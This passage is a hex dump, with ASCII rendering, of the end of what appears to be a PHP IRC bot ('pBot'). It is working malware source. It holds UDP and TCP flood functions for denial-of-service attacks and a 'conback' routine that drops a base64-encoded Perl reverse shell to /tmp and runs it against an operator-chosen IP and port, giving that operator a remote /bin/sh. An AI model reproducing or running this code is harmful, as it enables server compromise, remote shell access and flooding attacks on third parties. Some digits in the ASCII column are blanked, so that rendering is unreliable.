21856: 207D200D0A202020202020202020202020202020202020202020207D200D0A20          } }
21888: 2020202020202020202020202020202020207D200D0A20202020202020202020          }
21920: 202020202020627265616B3B200D0A202020202020202020202020207D200D0A          break; }
21952: 202020202020202020207D200D0A202020202020207D200D0A20202020202020          } }
21984: 246F6C645F627566203D2024746869732D3E6275663B200D0A202020207D200D          $old_buf = $this->buf; }
22016: 0A2020202024746869732D3E737461727428293B200D0A207D200D0A2066756E          $this->start(); } fun
22048: 6374696F6E2073656E6428246D736729200D0A207B200D0A2020202066777269          ction send($msg) { fwri
22080: 74652824746869732D3E636F6E6E2C22246D73675C725C6E22293B200D0A0D0A          te($this->conn,"$msg\r\n");
22112: 207D200D0A2066756E6374696F6E206A6F696E28246368616E2C246B65793D4E          } function join($chan,$key=N
22144: 554C4C29200D0A207B200D0A2020202024746869732D3E73656E6428224A4F49          ULL) { $this->send("JOI
22176: 4E20246368616E20246B657922293B200D0A207D200D0A2066756E6374696F6E          N $chan $key"); } function
22208: 20707269766D73672824746F2C246D7367290D0A207B0D0A2020202024746869          privmsg($to,$msg) { $thi
22240: 732D3E73656E642822505249564D53472024746F203A246D736722293B0D0A20          s->send("PRIVMSG $to :$msg");
22272: 7D0D0A2066756E6374696F6E206E6F746963652824746F2C246D7367290D0A20          } function notice($to,$msg)
22304: 7B0D0A2020202024746869732D3E73656E6428224E4F544943452024746F203A          { $this->send("NOTICE $to :
22336: 246D736722293B0D0A207D0D0A2066756E6374696F6E2069735F6C6F67676564          $msg"); } function is_logged
22368: 5F696E2824686F737429200D0A207B200D0A2020202069662869737365742824          _in($host) { if(isset($
22400: 746869732D3E75736572735B24686F73745D2929200D0A202020202020207265          this->users[$host])) re
22432: 7475726E20313B200D0A20202020656C7365200D0A2020202020202072657475          turn 1; else retu
22464: 726E20303B200D0A207D200D0A2066756E6374696F6E206C6F675F696E282468          rn  ; } function log_in($h
22496: 6F737429200D0A207B200D0A2020202024746869732D3E75736572735B24686F          ost) { $this->users[$ho
22528: 73745D203D20747275653B200D0A207D200D0A2066756E6374696F6E206C6F67          st] = true; } function log
22560: 5F6F75742824686F737429200D0A207B200D0A20202020756E73657428247468          _out($host) { unset($th
22592: 69732D3E75736572735B24686F73745D293B200D0A207D200D0A2066756E6374          is->users[$host]); } funct
22624: 696F6E207365745F6E69636B2829200D0A207B200D0A20202020696628697373          ion set_nick() { if(iss
22656: 657428245F5345525645525B275345525645525F534F465457415245275D2929          et($_SERVER['SERVER_SOFTWARE']))
22688: 200D0A202020207B200D0A202020202020206966287374727374722873747274          { if(strstr(strt
22720: 6F6C6F77657228245F5345525645525B275345525645525F534F465457415245          olower($_SERVER['SERVER_SOFTWARE
22752: 275D292C22617061636865222929200D0A202020202020202020202474686973          ']),"apache")) $this
22784: 2D3E6E69636B203D20225B415D223B200D0A20202020202020656C7365696628          ->nick = "[A]"; elseif(
22816: 73747273747228737472746F6C6F77657228245F5345525645525B2753455256          strstr(strtolower($_SERVER['SERV
22848: 45525F534F465457415245275D292C22696973222929200D0A20202020202020          ER_SOFTWARE']),"iis"))
22880: 20202024746869732D3E6E69636B203D20225B425D223B200D0A202020202020          $this->nick = "[B]";
22912: 20656C736569662873747273747228737472746F6C6F77657228245F53455256          elseif(strstr(strtolower($_SERV
22944: 45525B275345525645525F534F465457415245275D292C22786974616D692229          ER['SERVER_SOFTWARE']),"xitami")
22976: 29200D0A2020202020202020202024746869732D3E6E69636B203D20225B435D          ) $this->nick = "[C]
23008: 223B200D0A20202020202020656C7365200D0A20202020202020202020247468          "; else $th
23040: 69732D3E6E69636B203D20225B445D223B200D0A202020207D200D0A20202020          is->nick = "[D]"; }
23072: 656C7365200D0A202020207B200D0A2020202020202024746869732D3E6E6963          else { $this->nic
23104: 6B203D20225B455D223B200D0A202020207D200D0A2020202024746869732D3E          k = "[E]"; } $this->
23136: 6E69636B202E3D2024746869732D3E636F6E6669675B27707265666978275D3B          nick .= $this->config['prefix'];
23168: 200D0A20202020666F722824693D303B24693C24746869732D3E636F6E666967          for($i= ;$i<$this->config
23200: 5B276D617872616E64275D3B24692B2B29200D0A202020202020202474686973          ['maxrand'];$i++) $this
23232: 2D3E6E69636B202E3D206D745F72616E6428302C39293B200D0A202020202474          ->nick .= mt_rand( ,9); $t
23264: 6869732D3E73656E6428224E49434B20222E24746869732D3E6E69636B293B0D          his->send("NICK ".$this->nick);
23296: 0A207D200D0A202066756E6374696F6E20756470666C6F6F642824686F73742C          } function udpflood($host,
23328: 247061636B657473697A652C2474696D6529207B0D0A0924746869732D3E7072          $packetsize,$time) { $this->pr
23360: 69766D73672824746869732D3E636F6E6669675B276368616E275D2C225B5C32          ivmsg($this->config['chan'],"[\2
23392: 556470466C6F6F642053746172746564215C325D22293B200D0A09247061636B          UdpFlood Started!\2]"); $pack
23424: 6574203D2022223B0D0A09666F722824693D303B24693C247061636B65747369          et = ""; for($i= ;$i<$packetsi
23456: 7A653B24692B2B29207B20247061636B6574202E3D20636872286D745F72616E          ze;$i++) { $packet .= chr(mt_ran
23488: 6428312C32353629293B207D0D0A092474696D6569203D2074696D6528293B0D          d(1,256)); } $timei = time();
23520: 0A092469203D20303B0D0A097768696C652874696D6528292D2474696D656920          $i =  ; while(time()-$timei
23552: 3C202474696D6529207B0D0A09092466703D66736F636B6F70656E2822756470          < $time) { $fp=fsockopen("udp
23584: 3A2F2F222E24686F73742C6D745F72616E6428302C36303030292C24652C2473          ://".$host,mt_rand( ,6   ),$e,$s
23616: 2C35293B0D0A20202020202009667772697465282466702C247061636B657429          ,5); fwrite($fp,$packet)
23648: 3B0D0A202020202020200966636C6F736528246670293B0D0A090924692B2B3B          ; fclose($fp); $i++;
23680: 0D0A097D0D0A0924656E76203D202469202A20247061636B657473697A653B0D          } $env = $i * $packetsize;
23712: 0A0924656E76203D2024656E76202F20313034383537363B0D0A092476656C20          $env = $env / 1 48576; $vel
23744: 3D2024656E76202F202474696D653B0D0A092476656C203D20726F756E642824          = $env / $time; $vel = round($
23776: 76656C293B0D0A0924656E76203D20726F756E642824656E76293B0D0A092474          vel); $env = round($env); $t
23808: 6869732D3E707269766D73672824746869732D3E636F6E6669675B276368616E          his->privmsg($this->config['chan
23840: 275D2C225B5C32556470466C6F6F642046696E6973686564215C325D3A202465          '],"[\2UdpFlood Finished!\2]: $e
23872: 6E76204D4220656E766961646F73202F204D656469613A202476656C204D422F          nv MB enviados / Media: $vel MB/
23904: 732022293B0D0A7D0D0A2066756E6374696F6E20746370666C6F6F642824686F          s "); } function tcpflood($ho
23936: 73742C247061636B6574732C247061636B657473697A652C24706F72742C2464          st,$packets,$packetsize,$port,$d
23968: 656C617929200D0A207B200D0A2020202024746869732D3E707269766D736728          elay) { $this->privmsg(
24000: 24746869732D3E636F6E6669675B276368616E275D2C225B5C32546370466C6F          $this->config['chan'],"[\2TcpFlo
24032: 6F642053746172746564215C325D22293B200D0A20202020247061636B657420          od Started!\2]"); $packet
24064: 3D2022223B200D0A20202020666F722824693D303B24693C247061636B657473          = ""; for($i= ;$i<$packets
24096: 697A653B24692B2B29200D0A20202020202020247061636B6574202E3D206368          ize;$i++) $packet .= ch
24128: 72286D745F72616E6428312C32353629293B200D0A20202020666F722824693D          r(mt_rand(1,256)); for($i=
24160: 303B24693C247061636B6574733B24692B2B29200D0A202020207B200D0A2020           ;$i<$packets;$i++) {
24192: 2020202020696628212466703D66736F636B6F70656E28227463703A2F2F222E          if(!$fp=fsockopen("tcp://".
24224: 24686F73742C24706F72742C24652C24732C352929200D0A202020202020207B          $host,$port,$e,$s,5)) {
24256: 200D0A2020202020202020202024746869732D3E707269766D73672824746869          $this->privmsg($thi
24288: 732D3E636F6E6669675B276368616E275D2C225B5C32546370466C6F6F645C32          s->config['chan'],"[\2TcpFlood\2
24320: 5D3A204572726F723A203C24653E22293B200D0A202020202020202020207265          ]: Error: <$e>"); re
24352: 7475726E20303B200D0A202020202020207D200D0A20202020202020656C7365          turn  ; } else
24384: 200D0A202020202020207B200D0A202020202020202020206677726974652824          { fwrite($
24416: 66702C247061636B6574293B200D0A2020202020202020202066636C6F736528          fp,$packet); fclose(
24448: 246670293B200D0A202020202020207D200D0A20202020202020736C65657028          $fp); } sleep(
24480: 2464656C6179293B200D0A202020207D200D0A2020202024746869732D3E7072          $delay); } $this->pr
24512: 69766D73672824746869732D3E636F6E6669675B276368616E275D2C225B5C32          ivmsg($this->config['chan'],"[\2
24544: 546370466C6F6F642046696E6973686564215C325D3A20436F6E666967202D20          TcpFlood Finished!\2]: Config -
24576: 247061636B657473207061636F74657320706172612024686F73743A24706F72          $packets pacotes para $host:$por
24608: 742E22293B200D0A207D0D0A2066756E6374696F6E20636F6E6261636B282469          t."); } function conback($i
24640: 702C24706F7274290D0A207B0D0A2020202024746869732D3E707269766D7367          p,$port) { $this->privmsg
24672: 2824746869732D3E636F6E6669675B276368616E275D2C225B5C32636F6E6261          ($this->config['chan'],"[\2conba
24704: 636B5C325D3A2074656E74616E646F20636F6E656374616E646F206120246970          ck\2]: tentando conectando a $ip
24736: 3A24706F727422293B0D0A202020202464635F736F75726365203D2022497945          :$port"); $dc_source = "IyE
24768: 7664584E794C324A70626939775A584A7344517031633255675532396A613256          vdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V
24800: 304F77304B63484A70626E5167496B526864474567513268684D484D67513239           Ow KcHJpbnQgIkRhdGEgQ2hhMHMgQ29
24832: 75626D566A6443424359574E7249454A685932746B6232397958473563626949          ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI
24864: 37445170705A69416F49535242556B6457577A42644B53423744516F67494842          7DQppZiAoISRBUkdWWzBdKSB7DQogIHB
24896: 79615735305A69416956584E685A325536494351774946744962334E30585341          yaW5 ZiAiVXNhZ2U6ICQwIFtIb3N XSA
24928: 3855473979644435636269493744516F67494756346158516F4D536B37445170          8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp
24960: 3944517077636D6C7564434169577970644945523162584270626D636751584A          9DQpwcmludCAiWypdIER1bXBpbmcgQXJ
24992: 6E6457316C626E527A584734694F77304B4A476876633351675053416B51564A          ndW1lbnRzXG4iOw KJGhvc3QgPSAkQVJ
25024: 48566C73775854734E4369527762334A30494430674F444137445170705A6941          HVlswXTsNCiRwb3J ID gODA7DQppZiA
25056: 6F4A45465352315A624D5630704948734E436941674A484276636E5167505341          oJEFSR1ZbMV pIHsNCiAgJHBvcnQgPSA
25088: 6B51564A48566C73785854734E436E304E436E42796157353049434A624B6C30          kQVJHVlsxXTsNCn NCnByaW5 ICJbKl 
25120: 6751323975626D566A64476C755A7934754C6C7875496A734E43695277636D39          gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm9
25152: 30627941394947646C6448427962335276596E6C755957316C4B436430593341           byA9IGdldHByb3RvYnluYW1lKCd Y3A
25184: 6E4B5342386643426B6157556F496C5675613235766432346755484A76644739          nKSB8fCBkaWUoIlVua25vd24gUHJvdG9
25216: 6A62327863626949704F77304B6332396A613256304B464E46556C5A46556977          jb2xcbiIpOw Kc29ja2V KFNFUlZFUiw
25248: 6755455A665355354656437767553039445331395456464A4651553073494352          gUEZfSU5FVCwgU 9DS19TVFJFQU sICR
25280: 77636D393062796B67664877675A476C6C494367695532396A61325630494556          wcm9 bykgfHwgZGllICgiU29ja2V IEV
25312: 79636D3979584734694B54734E436D31354943523059584A6E5A585167505342          ycm9yXG4iKTsNCm15ICR YXJnZXQgPSB
25344: 70626D5630583246306232346F4A476876633351704F77304B615759674B4346          pbmV X2F b24oJGhvc3QpOw KaWYgKCF
25376: 6A623235755A574E304B464E46556C5A46556977676347466A61794169553235          jb25uZWN KFNFUlZFUiwgcGFjayAiU25
25408: 424E486734496977674D6977674A484276636E51734943523059584A6E5A5851          BNHg4IiwgMiwgJHBvcnQsICR YXJnZXQ
25440: 704B53423744516F67494752705A53676956573568596D786C4948527649454E          pKSB7DQogIGRpZSgiVW5hYmxlIHRvIEN
25472: 76626D356C59335263626949704F77304B6651304B63484A70626E5167496C73          vbm5lY3RcbiIpOw KfQ KcHJpbnQgIls
25504: 715853425463474633626D6C755A7942546147567362467875496A734E436D6C          qXSBTcGF3bmluZyBTaGVsbFxuIjsNCml
25536: 6D494367685A6D3979617967674B536B676577304B49434276634756754B464E          mICghZm9yayggKSkgew KICBvcGVuKFN
25568: 5552456C4F4C43492B4A6C4E46556C5A46556949704F77304B49434276634756          URElOLCI+JlNFUlZFUiIpOw KICBvcGV
25600: 754B464E55524539565643776950695A5452564A57525649694B54734E436941          uKFNURE9VVCwiPiZTRVJWRVIiKTsNCiA
25632: 676233426C6269685456455246556C4973496A346D55305653566B565349696B          gb3BlbihTVERFUlIsIj4mU VSVkVSIik
25664: 3744516F67494756345A574D6765796376596D6C754C334E6F4A3330674A7931          7DQogIGV4ZWMgeycvYmluL3NoJ3 gJy1
25696: 6959584E6F4A79417549434A634D434967654341304F77304B4943426C65476C          iYXNoJyAuICJcMCIgeCA Ow KICBleGl
25728: 304B4441704F77304B6651304B63484A70626E5167496C737158534245595852           KDApOw KfQ KcHJpbnQgIlsqXSBEYXR
25760: 685932686C5A467875584734694F773D3D223B0D0A202020206966202869735F          hY2hlZFxuXG4iOw=="; if (is_
25792: 7772697461626C6528222F746D702229290D0A202020207B0D0A202020202020          writable("/tmp")) {
25824: 6966202866696C655F65786973747328222F746D702F64632E706C222929207B          if (file_exists("/tmp/dc.pl")) {
25856: 20756E6C696E6B28222F746D702F64632E706C22293B207D0D0A202020202020          unlink("/tmp/dc.pl"); }
25888: 2466703D666F70656E28222F746D702F64632E706C222C227722293B0D0A2020          $fp=fopen("/tmp/dc.pl","w");
25920: 20202020667772697465282466702C6261736536345F6465636F646528246463          fwrite($fp,base64_decode($dc
25952: 5F736F7572636529293B0D0A202020202020706173737468727528227065726C          _source)); passthru("perl
25984: 202F746D702F64632E706C202469702024706F7274202622293B0D0A20202020          /tmp/dc.pl $ip $port &");
26016: 2020756E6C696E6B28222F746D702F64632E706C22293B0D0A202020207D0D0A          unlink("/tmp/dc.pl"); }
26048: 20202020656C73650D0A202020207B0D0A202020206966202869735F77726974          else { if (is_writ
26080: 61626C6528222F7661722F746D702229290D0A202020207B0D0A202020202020          able("/var/tmp")) {
26112: 6966202866696C655F65786973747328222F7661722F746D702F64632E706C22          if (file_exists("/var/tmp/dc.pl"
26144: 2929207B20756E6C696E6B28222F7661722F746D702F64632E706C22293B207D          )) { unlink("/var/tmp/dc.pl"); }
26176: 0D0A2020202020202466703D666F70656E28222F7661722F746D702F64632E70          $fp=fopen("/var/tmp/dc.p
26208: 6C222C227722293B0D0A202020202020667772697465282466702C6261736536          l","w"); fwrite($fp,base6
26240: 345F6465636F6465282464635F736F7572636529293B0D0A2020202020207061          4_decode($dc_source)); pa
26272: 73737468727528227065726C202F7661722F746D702F64632E706C2024697020          ssthru("perl /var/tmp/dc.pl $ip
26304: 24706F7274202622293B0D0A202020202020756E6C696E6B28222F7661722F74          $port &"); unlink("/var/t
26336: 6D702F64632E706C22293B0D0A202020207D0D0A202020206966202869735F77          mp/dc.pl"); } if (is_w
26368: 72697461626C6528222E2229290D0A202020207B0D0A20202020202069662028          ritable(".")) { if (
26400: 66696C655F657869737473282264632E706C222929207B20756E6C696E6B2822          file_exists("dc.pl")) { unlink("
26432: 64632E706C22293B207D0D0A2020202020202466703D666F70656E282264632E          dc.pl"); } $fp=fopen("dc.
26464: 706C222C227722293B0D0A202020202020667772697465282466702C62617365          pl","w"); fwrite($fp,base
26496: 36345F6465636F6465282464635F736F7572636529293B0D0A20202020202070          64_decode($dc_source)); p
26528: 6173737468727528227065726C2064632E706C202469702024706F7274202622          assthru("perl dc.pl $ip $port &"
26560: 293B0D0A202020202020756E6C696E6B282264632E706C22293B0D0A20202020          ); unlink("dc.pl");
26592: 7D0D0A202020207D0D0A20207D0D0A7D200D0A0D0A24626F74203D206E657720          } } } } $bot = new
26624: 70426F743B200D0A24626F742D3E737461727428293B200D0A0D0A3F3E          pBot; $bot->start(); ?>